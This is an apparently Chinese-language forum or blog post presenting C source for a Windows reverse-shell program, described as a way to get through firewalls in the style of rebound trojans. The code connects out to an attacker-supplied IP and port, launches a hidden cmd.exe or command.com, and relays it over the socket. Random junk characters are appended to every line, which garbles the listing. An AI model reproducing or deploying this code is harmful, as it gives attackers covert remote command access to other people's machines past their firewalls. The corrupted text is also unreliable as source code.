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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ">fRM=fl  
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/* ============================== = K`]cEL  
Rebound port in Windows NT I;$tBgOWq  
By wind,2006/7 DEfhR?v  
===============================*/ R iLqMSq  
#include xA n|OSe  
#include QqeF   
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#pragma comment(lib,"wsock32.lib") EW)r/Av:,  
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void OutputShell(); OWYY2&.h  
SOCKET sClient; .Z17X_  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4h}\Kl  
5':j=KQE_  
void main(int argc,char **argv) h=NXU9n%'  
{ 4dSAGLpp  
WSADATA stWsaData; VF7H0XR/k5  
int nRet; wmP[\^c%$j  
SOCKADDR_IN stSaiClient,stSaiServer; 3] U/^f3  
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if(argc != 3) LzB*d  
{ ]@}@G[e#[  
printf("Useage:\n\rRebound DestIP DestPort\n"); 7d_"4;K)  
return; %a-fxV[  
} T Q {8 ee{  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4 T/ ~erc  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AZJ|.mV q  
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stSaiClient.sin_family = AF_INET; ,zBc-Cm  
stSaiClient.sin_port = htons(0); U!nNT==  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Mw;^`ZxT  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) t$Ua&w  
{ "MOmJYH  
printf("Bind Socket Failed!\n"); B=%YD"FAv  
return; N,cj[6;T%  
} Tl^)O^/  
4)N~*+~\h  
stSaiServer.sin_family = AF_INET; g-+/zEOUS  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;/^O7KM-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j8t_-sU9 i  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kN vNV(4  
{ v[m1R'  
printf("Connect Error!"); *b1NVN$  
return; B8V85R  
} 6y@o[=m  
OutputShell();  ck`$ `  
} q1%xk =8  
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void OutputShell() "9H#pj -  
{ JCITIjD7=  
char szBuff[1024]; CT{ X$N  
SECURITY_ATTRIBUTES stSecurityAttributes; f%STkL)  
OSVERSIONINFO stOsversionInfo; IS!]!s'EI  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Lb2/ Te*  
STARTUPINFO stStartupInfo; *>j4tA{b@v  
char *szShell; Tr HUM4  
PROCESS_INFORMATION stProcessInformation; @v}M\$N?  
unsigned long lBytesRead; T!5g:;~y >  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c5HW.3"  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); gHU0Pr9'  
stSecurityAttributes.lpSecurityDescriptor = 0; s3gT6  
stSecurityAttributes.bInheritHandle = TRUE; & =vi]z:[  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); C5#$NV99p  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :Us NiR=l  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); sVIw'W  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \OF"hPq  
stStartupInfo.wShowWindow = SW_HIDE; 2wZyUB;  
stStartupInfo.hStdInput = hReadPipe; !2]G.|5/A  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s.@DI|Gnf  
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GetVersionEx(&stOsversionInfo); X]%n#\t,]  
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switch(stOsversionInfo.dwPlatformId) x$V[xX  
{ /57)y_ \  
case 1: q?Mmkh)g  
szShell = "command.com"; sMb+4{W&6  
break; xV5eKV  
default: #c2JWDH1F  
szShell = "cmd.exe"; pS)/yMlVj  
break; qznd '^[  
} +t;j5\HS  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Qc"UTvq  
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send(sClient,szMsg,77,0); r;&rc:?A  
while(1) nrI-F,1  
{ e@crM'R7Lo  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); rc]`PV  
if(lBytesRead) @{UtS2L  
{ Z&0*\.6S~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /*{s1Zcb  
send(sClient,szBuff,lBytesRead,0); IH '&W  
} ukRbSJ5a5  
else M&K'5G)7  
{ L(eLxw e%  
lBytesRead=recv(sClient,szBuff,1024,0); @phb5  
if(lBytesRead<=0) break; go$zi5{h#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); keWqL]  
} VE5M}kDCZ  
} IHtNaN )  
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return; ey>V^Fj  
}
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